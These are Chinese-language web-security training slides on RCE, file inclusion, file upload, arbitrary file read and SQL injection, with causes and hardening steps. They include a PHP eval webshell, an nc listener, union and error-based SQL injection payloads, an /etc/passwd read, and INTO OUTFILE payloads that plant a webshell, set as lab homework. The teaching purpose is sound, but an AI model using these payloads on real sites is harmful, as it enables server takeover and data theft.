攻擊機(jī):nc–lvp77773一句話木馬:<?php@eval($_POST['caidao']);?>3.遠(yuǎn)程代碼執(zhí)行漏洞3.4遠(yuǎn)程代碼執(zhí)行漏洞利用(1)反彈shell(2)一句話木馬4RCE漏洞加固1.盡量少用執(zhí)行命令的函數(shù)或直接禁用2.參數(shù)值盡量使用引號(hào)包括3.在進(jìn)入執(zhí)行命令函數(shù)之前,變量一定要做好過濾,對(duì)敏感字符轉(zhuǎn)義4.在使用動(dòng)態(tài)函數(shù)之前,確保使用的函數(shù)是指定的函數(shù)之一小結(jié)1.RCE漏洞定義,分類2.命令執(zhí)行漏洞的原因、利用3.代碼執(zhí)行漏洞,php系統(tǒng)函數(shù)4.
RCE漏洞加固方法作業(yè)1.利用dvwa環(huán)境,進(jìn)行命令執(zhí)行漏洞利用(1)創(chuàng)建一個(gè)用戶,并加入到管理員組(win、linux)(2)win開啟3389,遠(yuǎn)程連接(3)linux通過ssh進(jìn)行連接2.利用system函數(shù)寫一個(gè)反彈shell3.利用eval函數(shù)寫一個(gè)一句話木馬THEEND謝謝!項(xiàng)目5:文件包含漏洞利用與防護(hù)項(xiàng)目目標(biāo)知識(shí)目標(biāo):1.了解文件包含、文件包含漏洞定義2.理解文件包含漏洞的分類、文件包含函數(shù)3.掌握文件包含漏洞利用,防范措施能力目標(biāo):1.能運(yùn)用文件包含漏洞獲取敏感信息以及加固方法情感目標(biāo):1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神目錄01文件包含漏洞概述02文件包含漏洞利用與防御目錄1.文件包含漏洞概述1.1文件包含在web后臺(tái)開發(fā)中,程序員往往為了提高效率以及讓代碼看起來更加簡潔,會(huì)使用包含函數(shù)功能,比如會(huì)把網(wǎng)頁引用的標(biāo)準(zhǔn)頁眉(head.php)或菜單文件寫進(jìn)一個(gè)文件中,之后某個(gè)文件需要調(diào)用的時(shí)候就直接在文件頭中寫上一句<?phpincludehead.php?>.使用文件包含為開發(fā)者節(jié)省大量的時(shí)間。--當(dāng)頁眉需要更新時(shí),您只更新一個(gè)包含文件就可以了,或者向網(wǎng)站添加一張新頁面時(shí),僅僅需要修改一下菜單文件(而不是更新所有網(wǎng)頁中的鏈接)1.文件包含漏洞概述1.2文件包含漏洞有些時(shí)候,由于網(wǎng)站功能的需求,文件包含的代碼文件被寫成了一個(gè)變量,且這個(gè)變量可以由前端用戶傳進(jìn)來,由于傳入的文件名沒有合理的校驗(yàn),或者校驗(yàn)被繞過,從而操作了預(yù)想之外的文件,就可能導(dǎo)致意外的文件泄露甚至惡意的代碼注入,讀取系統(tǒng)給敏感文件。1.文件包含漏洞概述1.3文件包含代碼<?php$file=$_GET[‘file’];#將參數(shù)file的值傳遞給變量$fileinclude$file;#使用include函數(shù)包含文件?>原因分析:文件包含函數(shù)加載的參數(shù)沒有經(jīng)過過濾或者嚴(yán)格的定義,可以被用戶控制,包含其他惡意文件,導(dǎo)致了執(zhí)行了非預(yù)期的代碼。1.文件包含漏洞概述1.4PHP文件包含函數(shù)大部分文件包含的漏洞都出現(xiàn)在php的程序中,因PHP語言提供的文件包含功能太強(qiáng)大,太靈活。(1)include():包含過程中如果出現(xiàn)錯(cuò)誤,會(huì)拋出一個(gè)警告,程序繼續(xù)正常執(zhí)行。(2)include_once():同include,只包含一次。(3)require():包含過程中如果出現(xiàn)錯(cuò)誤,會(huì)退出程序的執(zhí)行。(4)require_once():同require,只包含一次。使用與在腳本執(zhí)行期間同一個(gè)文件有可能被包括超過一次的情況下,你想確保它只被包含一次以避免函數(shù)重定義、變量重定義賦值等問題。1.文件包含漏洞概述1.5文件包含漏洞分類根據(jù)不同的配置環(huán)境,文件包含漏洞分為如下兩種情況:(1)本地文件包含:當(dāng)被包含的文件在服務(wù)器本地(2)遠(yuǎn)程文件包含:當(dāng)被包含的文件在遠(yuǎn)程服務(wù)器遠(yuǎn)程文件包含條件:在php.ini文件中allow_url_fopen=on#默認(rèn)打開allow_url_include=on#默認(rèn)關(guān)閉1.文件包含漏洞概述1.5.1本地文件包含用戶Webserver:../../php/php.ini(敏感文件/系統(tǒng)配置文件)1.文件包含漏洞概述1.5.2遠(yuǎn)程文件包含用戶Webserver:遠(yuǎn)程包含目錄01文件包含漏洞概述02文件包含漏洞利用與防御目錄2.文件包含漏洞利用與防御2.1文件包含漏洞利用1.本地文件包含2.遠(yuǎn)程文件包含3.文件上傳+文件包含綜合利用2文件包含漏洞利用與防御2.2文件包含漏洞防御(1)在功能設(shè)計(jì)上盡量不要將文件包含函數(shù)對(duì)應(yīng)的文件放給前端進(jìn)行選擇和操作(2)過濾各種../../,http://,https://(3)配置php.ini配置文件allow_url_fopen=offallow_url_include=offmagic_quotes_gpc=on(4)通過白名單策略,僅允許包含運(yùn)行指定的文件,其他的都禁止小結(jié)1.文件包含漏洞的定義、分類2.文件包含漏洞的利用3.文件包含漏洞加固作業(yè)1.利用本地文件包含漏洞讀取目標(biāo)系統(tǒng)敏感文件2.利用文件上傳+文件包含漏洞寫入webshellTHEEND謝謝!項(xiàng)目6:文件上傳漏洞利用與防護(hù)項(xiàng)目目標(biāo)知識(shí)目標(biāo):1.了解文件上傳漏洞的概念、原因、危害2.理解文件上傳漏洞的測(cè)試流程3.掌握文件上傳漏洞的利用與防御措施能力目標(biāo):1.能夠利用文件上傳漏洞,控制web服務(wù)器情感目標(biāo):1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神目錄01文件上傳漏洞概述02文件上傳漏洞利用與防御目錄1.1文件上傳文件上傳功能在web應(yīng)用系統(tǒng)很常見,因?yàn)闃I(yè)務(wù)功能需要,很多web站點(diǎn)都有文件上傳的接口,比如(1)注冊(cè)時(shí)上傳頭像圖片(jpg,png,gif等)(2)上傳文件附件(doc,xls等)當(dāng)用戶點(diǎn)擊上傳按鈕后,后臺(tái)會(huì)對(duì)上傳的文件進(jìn)行判斷比如是否是指定的類型、后綴名、大小等等,然后將其按照設(shè)計(jì)的格式進(jìn)行重命名后存儲(chǔ)在指定的目錄。1.文件上傳漏洞概述1.2文件上傳漏洞在進(jìn)行文件上傳功能的時(shí)候,而在后臺(tái)對(duì)上傳的文件沒有進(jìn)行安全考慮或者采用了有缺陷的措施,導(dǎo)致攻擊者可以通過一些手段繞過安全措施從而上傳一些惡意的文件,比如一句話木馬,從而通過對(duì)該惡意文件的訪問來控制整個(gè)web后臺(tái)。文件上傳漏洞可以說是日常滲透測(cè)試中用得最多的一個(gè)漏洞,用它獲得服務(wù)器權(quán)限最快最直接(高危漏洞)。1.文件上傳漏洞概述1.文件上傳漏洞概述1.3文件上傳漏洞危害(1)上傳文件是病毒或木馬時(shí),可以誘騙用戶下載執(zhí)行或者自動(dòng)執(zhí)行。(2)上傳文件是webshell時(shí),攻擊者可通過這些網(wǎng)頁后門執(zhí)行命令(3)上傳文件是惡意圖片時(shí),圖片中可能包含了腳本,加載或者點(diǎn)擊這些圖片時(shí)腳本會(huì)執(zhí)行……1.文件上傳漏洞概述1.4文件上傳漏洞原因(1)文件上傳檢查不嚴(yán):沒有檢查或者客戶端檢查(2)文件上傳后修改文件名處理不當(dāng):允許已經(jīng)上傳的文件進(jìn)行重命名(3)使用第三方插件引入:例如著名的博客平臺(tái)wordpress就有豐富的插件,而這些插件中每年都會(huì)被挖掘出大量的文件上傳漏洞。1.文件上傳漏洞概述1.5文件上傳漏洞測(cè)試流程(1)對(duì)文件上傳的地方按照要求上傳文件,查看返回結(jié)果(路徑,提示等);(2)嘗試上傳不同類型的“惡意文件”,比如php文件,分析結(jié)果;(3)查看html源碼,看是否通過js在前端做了上傳限制,可以繞過;(4)嘗試使用不同方式進(jìn)行繞過,黑白名單繞過/MIME繞過/0x00階段繞過等;(5)測(cè)試或者結(jié)合其它漏洞(比如文件包含等)得到木馬,連接測(cè)試。目錄01文件上傳漏洞概述02文件上傳漏洞利用與防御目錄2.文件上傳漏洞利用與防御2.1文件上傳漏洞利用1.客戶端javascript檢測(cè)繞過2.服務(wù)端MIME類型檢測(cè)繞過3.服務(wù)端getimagesize檢測(cè)繞過4.up-lab文件上傳實(shí)驗(yàn)2.文件上傳漏洞利與防御2.2文件上傳漏洞防御(1)不要在前端使用js實(shí)施上傳限制策略(2)通過服務(wù)端對(duì)文件上傳文件進(jìn)行限制
(2.1)進(jìn)行多條件組合檢查:比如文件大小,路徑,擴(kuò)展名,文件類型,文件完整性(2.2)對(duì)上傳的文件在服務(wù)器上存儲(chǔ)時(shí)進(jìn)行重命名(制定合理的命名規(guī)則)(2.3)對(duì)服務(wù)端上傳的目錄進(jìn)行權(quán)限控制(比如只讀),限制執(zhí)行權(quán)限帶來的危害。小結(jié)1.文件上傳漏洞的概念、原因、危害、測(cè)試流程2.文件上傳漏洞的利用與防御措施作業(yè)1.客戶端javascript檢測(cè)繞過2.服務(wù)端MIME類型檢測(cè)繞過3.服務(wù)端getimagesize檢測(cè)繞過4.up-lab實(shí)驗(yàn)選做項(xiàng)目7:文件下載漏洞利用與防護(hù)項(xiàng)目目標(biāo)知識(shí)目標(biāo):1.了解任意文件讀取的概念,利用條件,危害2.掌握任意文件讀取漏洞的利用3.掌握任意文件讀取漏洞加固能力目標(biāo):1.能夠利用任意文件讀取漏洞并對(duì)該漏洞進(jìn)行防御情感目標(biāo):1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神1.任意文件讀取漏洞概述1.1任意文件讀取漏洞一些網(wǎng)站由于業(yè)務(wù)需求,往往需要提供文件查看或文件下載功能,但若對(duì)用戶查看或下載的文件不做限制,則惡意用戶就能夠查看或下載任意敏感文件,這就是任意文件讀取漏洞。1.任意文件讀取漏洞概述1.2漏洞危害(1)下載服務(wù)器任意文件,如腳本代碼、服務(wù)及系統(tǒng)配置文件等(2)可用得到的代碼進(jìn)一步代碼審計(jì),得到更多可利用漏洞1.任意文件讀取漏洞概述1.3漏洞利用條件(1)存在讀文件的函數(shù)(2)讀取文件的路徑用戶可控且未校驗(yàn)或校驗(yàn)不嚴(yán)(3)輸出了文件內(nèi)容1.任意文件讀取漏洞概述1.4PHP任意讀取文件函數(shù)file_get_contents()fopen()readfile
fread
fgets
fgetss
fpassthru
parse_ini_file
漏洞示例代碼<?php
$filename
=
$_GET['file'];
if(isset($filename)){
readfile($filename);
}?>漏洞示例代碼<?php$filename=$_GET['filename'];echofile_get_contents($filename);?>漏洞示例代碼<?php$filename="test.txt";$fp=fopen($filename,"r")ordie(“noopen!");$data=fread($fp,filesize($filename));fclose($fp);echo$data;?>2任意文件讀取漏洞利用與加固2.1漏洞利用1.利用任意文件讀取漏洞下載/etc/passwd敏感文件2任意文件讀取漏洞利用與加固2.2漏洞加固1.對(duì)傳入的文件名進(jìn)行嚴(yán)格的過濾和限定2.對(duì)文件下載的目錄進(jìn)行嚴(yán)格的限定小結(jié)1.任意文件讀取的原理2.任意文件讀取漏洞的利用與加固作業(yè)1.讀取敏感文件2.任意文件下載項(xiàng)目8:SQL注入漏洞利用與防護(hù)項(xiàng)目目標(biāo)知識(shí)目標(biāo):1.了解SQL注入漏洞的基本概念、危害,分類2.理解SQL注入漏洞的測(cè)試流程、測(cè)試字符串3.掌握數(shù)據(jù)庫的基本操作4.掌握手工注入&工具注入5.掌握SQL注入漏洞的利用與加固能力目標(biāo):1.能利用SQL注入漏洞獲取目標(biāo)靶機(jī)數(shù)據(jù)情感目標(biāo):1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神1.SQL注入漏洞概述1.1SQL注入漏洞及形成原因定義:SQL注入即是指web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的合法性沒有判斷,攻擊者可以在web應(yīng)用程序中事先定義好的查詢語句的結(jié)尾上添加額外的SQL語句,以此來實(shí)現(xiàn)欺騙數(shù)據(jù)庫服務(wù)器執(zhí)行非授權(quán)的任意查詢,從而進(jìn)一步得到相應(yīng)的數(shù)據(jù)信息。原因:SQL注入漏洞主要形成的原因是在數(shù)據(jù)交互中,前端的數(shù)據(jù)傳入到后臺(tái)處理時(shí),沒有做嚴(yán)格的判斷,導(dǎo)致其傳入的“數(shù)據(jù)”拼接到SQL語句中后,被當(dāng)作SQL語句的一部分執(zhí)行。從而導(dǎo)致數(shù)據(jù)庫受損(被脫褲、被刪除、甚至整個(gè)服務(wù)器權(quán)限淪陷)。1.SQL注入漏洞概述1.2SQL注入漏洞及形成原因Sql注入漏洞形成原因,主要是開發(fā)人員在構(gòu)建代碼時(shí),沒有對(duì)輸入邊界進(jìn)行安全考慮,導(dǎo)致攻擊者可以通過合法的輸入點(diǎn)提交一些精心構(gòu)造的語句,從而欺騙后臺(tái)數(shù)據(jù)庫對(duì)其進(jìn)行執(zhí)行,導(dǎo)致數(shù)據(jù)庫信息泄露。非法輸入:id=1or1=1select*fromproductwhereid=1or1=1正常輸入:id=1select*fromproductwhereid=11.SQL注入漏洞概述1.3SQL注入漏洞危害(1)數(shù)據(jù)庫信息泄露:數(shù)據(jù)庫中存放的用戶的隱私信息的泄露(2)網(wǎng)頁篡改:通過操作數(shù)據(jù)庫對(duì)特定問也進(jìn)行篡改(3)網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫一些字段的值,進(jìn)行掛馬攻擊?!?1.SQL注入漏洞概述1.4SQL注入攻擊流程第一步:注入點(diǎn)探測(cè)
自動(dòng)方式:使用web漏洞掃描工具,自動(dòng)進(jìn)行注入點(diǎn)發(fā)現(xiàn)
手動(dòng)方式:手工構(gòu)造sql注入語句進(jìn)行注入點(diǎn)發(fā)現(xiàn)第二步:信息獲取
通過注入點(diǎn)取期望得到的數(shù)據(jù)
環(huán)境信息:數(shù)據(jù)庫類型,數(shù)據(jù)庫版本,操作系統(tǒng)版本,用戶信息等
數(shù)據(jù)庫信息:數(shù)據(jù)庫名稱,數(shù)據(jù)庫表,表字段,字段內(nèi)容第三步:獲取權(quán)限
獲取操作系統(tǒng)權(quán)限,通過數(shù)據(jù)庫執(zhí)行shell,上傳木馬1.SQL注入漏洞概述1.5SQL注入測(cè)試字符串or1=1--
'or1=1--
xx%’or1=1--“or1=1--)or1=1--')or1=1--")or1=1--"))or1=1--………..--可以用#替換,url提交過程中Url編碼后的#為%231.SQL注入漏洞概述$conn=mysql_connect($host,$username,$password);$query=”select*fromuserswhereuser=’admin’andpasswd=’”;$query=$query.$_GET[“passwd”]”’”;$result=mysql_query($query);#######################################################################正常的數(shù)據(jù):passwd=admin888、passwd=test123后臺(tái)所執(zhí)行的語句:Select*fromuserswhereuser=’admin’andpasswd=’admin888’–登陸成功Select*fromuserswhereuser=’admin’andpasswd=’test123’–登陸失敗帶有惡意代碼的數(shù)據(jù):passwd=’
or1=1#此時(shí)后臺(tái)執(zhí)行語句為:Select*fromuserswhereuser=’admin’andpasswd=‘a(chǎn)dmin’or1=1#’–登陸成功1.SQL注入漏洞概述1.6SQL注入漏洞位置(1)登陸框(2)搜索框(3)url參數(shù)值(4)信息設(shè)置只要是后臺(tái)數(shù)據(jù)庫操作的地方,都有可能有注入2.數(shù)據(jù)庫基礎(chǔ)2.1數(shù)據(jù)庫概念數(shù)據(jù)庫:長期儲(chǔ)存在計(jì)算機(jī)內(nèi)的,有組織的,可共享的數(shù)據(jù)集合。DMBS:如何組織和存儲(chǔ)數(shù)據(jù)庫中的數(shù)據(jù),如何有效地獲取和維護(hù)這些數(shù)據(jù)。完成這個(gè)任務(wù)的程序(軟件)叫數(shù)據(jù)庫管理系統(tǒng)(DataBaseManagementSystem:DMBS)DBMSDatabase程序數(shù)據(jù)庫用戶請(qǐng)求2.數(shù)據(jù)庫基礎(chǔ)2.2常用的數(shù)據(jù)庫mysql,oracle,SQLServer等2.3常用的數(shù)據(jù)庫結(jié)構(gòu)庫->表->字段,采用結(jié)構(gòu)化查詢語言(SQL)select
列名稱1,列名稱2
from表名稱deletefrom表名稱where
列名稱=值update
表名稱
set列名稱=新值where列名稱=某值insertinto表名(列1,列2,……)values(值1,值2,……)2.數(shù)據(jù)庫基礎(chǔ)2.2常用的數(shù)據(jù)庫mysql,oracle,SQLServer等2.3常用的數(shù)據(jù)庫結(jié)構(gòu)庫->表->字段,采用結(jié)構(gòu)化查詢語言(SQL)2.數(shù)據(jù)庫基礎(chǔ)2.4常用的數(shù)據(jù)庫操作登錄數(shù)據(jù)庫:mysql–uroot–p****顯示數(shù)據(jù)庫:showdatabases;使用數(shù)據(jù)庫:use數(shù)據(jù)庫名;顯示表名稱:showtables;查看表的字段:desc表名稱;select
列名稱1,列名稱2
from表名稱查詢數(shù)據(jù)庫:selectdatabase();
查詢用戶:selectuser();查詢版本:selectversion()deletefrom表名稱where
列名稱=值update
表名稱
set列名稱=新值where列名稱=某值insertinto表名(列1,列2,……)values(值1,值2,……)3.SQL注入漏洞分類根據(jù)注入點(diǎn)類型不同,分為(1)整數(shù)型user_id=$id(2)字符型user_id=’$id’
(3)搜索型textlike“%{$_GET[‘search’]}%”(4)其他類型
不管是那種類型的注入的,總而言之,就是對(duì)sql中的各種類型的輸入進(jìn)行閉合測(cè)試,構(gòu)造合法的sql,欺騙后臺(tái)的執(zhí)行。只要我們猜測(cè)后臺(tái)的語句是怎么來拼接的,然后去構(gòu)造閉合。4.union聯(lián)合查詢4.1union操作符union操作符:用于合并兩個(gè)或多個(gè)select語句的結(jié)果集。在mysql數(shù)據(jù)庫或其他關(guān)系型數(shù)據(jù)庫里面都提供了這樣的一個(gè)方法。4.2用法舉例selectusername,passwordfromuserwhereid=1unionselect字段1,字段2from表名注意,union內(nèi)部的每個(gè)select語句必須擁有相同數(shù)量的列。mysql>selectid,usernamefrommemberunionselectpw,email,idfrommemberwhereid=2;ERROR1222(21000):TheusedSELECTstatementshaveadifferentnumberofcolumns4.union聯(lián)合查詢4.1union操作符union操作符:用于合并兩個(gè)或多個(gè)select語句的結(jié)果集。在mysql數(shù)據(jù)庫或其他關(guān)系型數(shù)據(jù)庫里面都提供了這樣的一個(gè)方法。4.2用法舉例selectusername,passwordfromuserwhereid=1unionselect字段1,字段2from表名注意,union內(nèi)部的每個(gè)select語句必須擁有相同數(shù)量的列。mysql>selectid,usernamefrommemberunionselectpw,email,idfrommemberwhereid=2;ERROR1222(21000):TheusedSELECTstatementshaveadifferentnumberofcolumns4.union聯(lián)合查詢思考題當(dāng)我們用union聯(lián)合查詢的時(shí)候,我們并不知道后臺(tái)的數(shù)據(jù)庫里面查詢了幾個(gè)字段,怎么解決這個(gè)問題?采用orderby語句4.union聯(lián)合查詢4.3
orderby(1)orderbyn對(duì)查詢的結(jié)果進(jìn)行排序,按照第n列進(jìn)行排序,n數(shù)字是1-9,字母是a-z。(2)orderby語句用于根據(jù)指定的列對(duì)結(jié)果集進(jìn)行排序。如果指定的列不存在,數(shù)據(jù)庫會(huì)報(bào)錯(cuò),通過報(bào)錯(cuò)判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù)。mysql>selectid,usernamefrommemberorderby2;mysql>selectid,usernamefrommemberorderby3;ERROR1054(42S22):Unknowncolumn'3'in'orderclause'4.union聯(lián)合查詢4.4
獲取數(shù)據(jù)庫基礎(chǔ)信息Step1:用orderby猜測(cè)獲取幾列數(shù)據(jù)Payload:xx’order
by
5#Step2:獲取數(shù)據(jù)庫基礎(chǔ)信息Payload:kobe'unionselectdatabase(),user()#5.information_schema數(shù)據(jù)庫5.1information_schema數(shù)據(jù)庫在mysql中,自帶的information_schema這個(gè)表里面存放了大量的重要信息。如果存在注入點(diǎn)的話,可以直接嘗試對(duì)該數(shù)據(jù)庫進(jìn)行訪問,從而獲取更多的信息。(1)SCHEMATA表:提供了當(dāng)前mysql實(shí)例中所有數(shù)據(jù)庫的信息。showdatabases的結(jié)果取自此表。(2)TABLES表:提供了關(guān)于數(shù)據(jù)庫中表的信息(包括視圖),詳細(xì)表述了某個(gè)表屬于哪個(gè)schema,表類型,創(chuàng)建時(shí)間等信息。是showtablesfromschmename的結(jié)果取自此表。(3)COLUMNS表:提供了表中的列的信息,詳細(xì)表述了某張表所有列以及每個(gè)列的信息,是Showcolumnsfromschemaname.tablename的結(jié)果取自此表。5.information_schema數(shù)據(jù)庫1.獲取表名mysql>selectid,emailfrommemberwhereusername='kobe'unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu’;Payload:kobe'unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu'#2.獲取列名mysql>selectid,emailfrommemberwhereusername='kobe'unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users’;Payload:kobe'unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users'#3.獲取內(nèi)容mysql>selectid,emailfrommemberwhereusername='kobe'unionselectusername,passwordfromusers;Payload:kobe'unionselectusername,passwordfromusers#6.基于函數(shù)報(bào)錯(cuò)的信息獲取6.1常用的報(bào)錯(cuò)函數(shù)updatexml(),extractvalue(),floor()在mysql中使用一些指定的函數(shù)來制造報(bào)錯(cuò),從報(bào)錯(cuò)信息中獲取設(shè)定的信息。Select、insert,update,delete都可以使用報(bào)錯(cuò)來獲取信息。利用條件:后臺(tái)沒有屏蔽數(shù)據(jù)庫報(bào)錯(cuò)信息,在語法發(fā)生錯(cuò)誤時(shí)會(huì)輸出在前端。6.報(bào)錯(cuò)函數(shù)6.1常用的報(bào)錯(cuò)函數(shù)updatexml():該函數(shù)是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù)。extractvalue():該函數(shù)也是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢的xpath函數(shù)floor():myql中用來取整的函數(shù)UPDATEXML(XML_document,XPath_string,new_value);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱第二個(gè)參數(shù):XPath_string(Xpath格式的字符串),對(duì)xml哪個(gè)地方需要更新,即指定一個(gè)位置,這個(gè)參數(shù)必須有效,否則會(huì)出錯(cuò)。第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
eg:updatexml(1,version(),0)6.報(bào)錯(cuò)函數(shù)6.2利用報(bào)錯(cuò)函數(shù)獲取信息(1)獲取版本admin'andupdatexml(1,concat(0x7e,version()),0)#0x7e為~符號(hào)的16進(jìn)制
admin'andupdatexml(1,version(),0)#(2)獲取數(shù)據(jù)庫admin'andupdatexml(1,concat(0x7e,database()),0)#(3)獲取表名,出錯(cuò)admin'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu')),0)#修改成下列的形式,limit0,1該函數(shù)的作用是從0位置開始取數(shù)據(jù),步長位1admin'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu'limit0,1)),0)#6.報(bào)錯(cuò)函數(shù)6.3insert,update,delete報(bào)錯(cuò)利用正常插入:mysql>insertintomember(username,pw,sex,phonenum,address,email)values('xx','123456','boy','1444','hefei','xx@’);Insert和updatepayload:xm'or
updatexml(1,concat(0x7e,database()),0)or‘6.報(bào)錯(cuò)函數(shù)6.3insert,update,delete報(bào)錯(cuò)利用deletpayload:1or
updatexml(1,concat(0x7e,database()),0)7.httpheader注入7.1httpheader注入這是sql注入的一種場景,有些時(shí)候,后臺(tái)開發(fā)人員為了驗(yàn)證客戶端信息,比如UA,cookie。或者通過httpheader頭信息后去客戶端的一些信息,比如ua,accept等字段。會(huì)對(duì)客戶端的httpheader信息進(jìn)行獲取并使用sql進(jìn)行處理,如果此時(shí)沒有足夠的安全考慮則可能,會(huì)產(chǎn)生httpheader注入。8.Sql注入讀取與寫入8.1讀取文件Mysql通過
load_file()可以讀取文件條件:1.文件必須在服務(wù)器上2.知道站點(diǎn)的物理路徑3.Mysql用戶必須擁有對(duì)此文件讀取的權(quán)限4.Load_file()操作的目錄是數(shù)據(jù)庫的存儲(chǔ)路徑5.文件有一定的范圍,默認(rèn)是16M,通過max_allowed_packet配置最大為1G讀取payloadzz'unionselect1,load_file('/etc/passwd')#8.Sql注入讀取與寫入8.2寫文件mysql通過intooutfile文件寫入到指定文件如select1,2intooutfile
“/var/www/html/1.php”前提條件:1.需要知道遠(yuǎn)程目錄2.需要遠(yuǎn)程目錄有寫權(quán)限3.需要數(shù)據(jù)庫開啟了secure_file_priv8.Sql注入讀取與寫入在字符型注入框里輸入,由于有2個(gè)字段,所有構(gòu)造兩個(gè)字段Payload:Kobe'unionselect"<?php@eval($_GET['cmd']);?>",2intooutfile"/var/www/html/1.php"#Kobe'unionselect
'<?php
@eval($_GET["cmd"]);
?>',2into
outfile'C:\\phpStudy\\upload-labs-env\\WWW\\ONE.php'#9.Sqlmap工具使用9.1SQLMap簡介SQLMap是一個(gè)開源的滲透測(cè)試工具,可以用來進(jìn)行自動(dòng)化檢測(cè),利用SQL注入漏洞,獲取數(shù)據(jù)庫服務(wù)器的權(quán)限。它具有功能強(qiáng)大的檢測(cè)引擎,針對(duì)各種不同類型數(shù)據(jù)庫的滲透測(cè)試的功能選項(xiàng),包括獲取數(shù)據(jù)庫中存儲(chǔ)的數(shù)據(jù),訪問操作系統(tǒng)文件甚至可以通過外帶數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)命令。9.Sqlmap工具使用9.2SQLMap常用基
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 幾分包合同范本
- 農(nóng)村耕地流轉(zhuǎn)合同范本
- 產(chǎn)品免責(zé)合同范本
- 倉儲(chǔ)臨時(shí)合同范本
- 化妝產(chǎn)品合同范本
- 信息驗(yàn)收合同范例
- 書法裝裱售賣合同范本
- 農(nóng)村集體資源招租合同范本
- 免除追償工傷合同范本
- 兄弟籃球合同范本
- 2024年-ITSS新標(biāo)準(zhǔn)培訓(xùn)學(xué)習(xí)材料
- 第2課《讓美德照亮幸福人生》第2框《做守家庭美德的好成員》-【中職專用】《職業(yè)道德與法治》同步課堂課件
- (正式版)SHT 3227-2024 石油化工裝置固定水噴霧和水(泡沫)噴淋滅火系統(tǒng)技術(shù)標(biāo)準(zhǔn)
- 2024屆廣東省深圳市中考物理模擬試卷(一模)(附答案)
- 前庭功能鍛煉科普知識(shí)講座
- 供應(yīng)鏈戰(zhàn)略布局與區(qū)域拓展案例
- 上海話培訓(xùn)課件
- 注塑車間績效考核方案
- 初中英語閱讀理解專項(xiàng)練習(xí)26篇(含答案)
- 誦讀經(jīng)典傳承文明課件
- 高中數(shù)學(xué)選擇性必修3 教材習(xí)題答案
評(píng)論
0/150
提交評(píng)論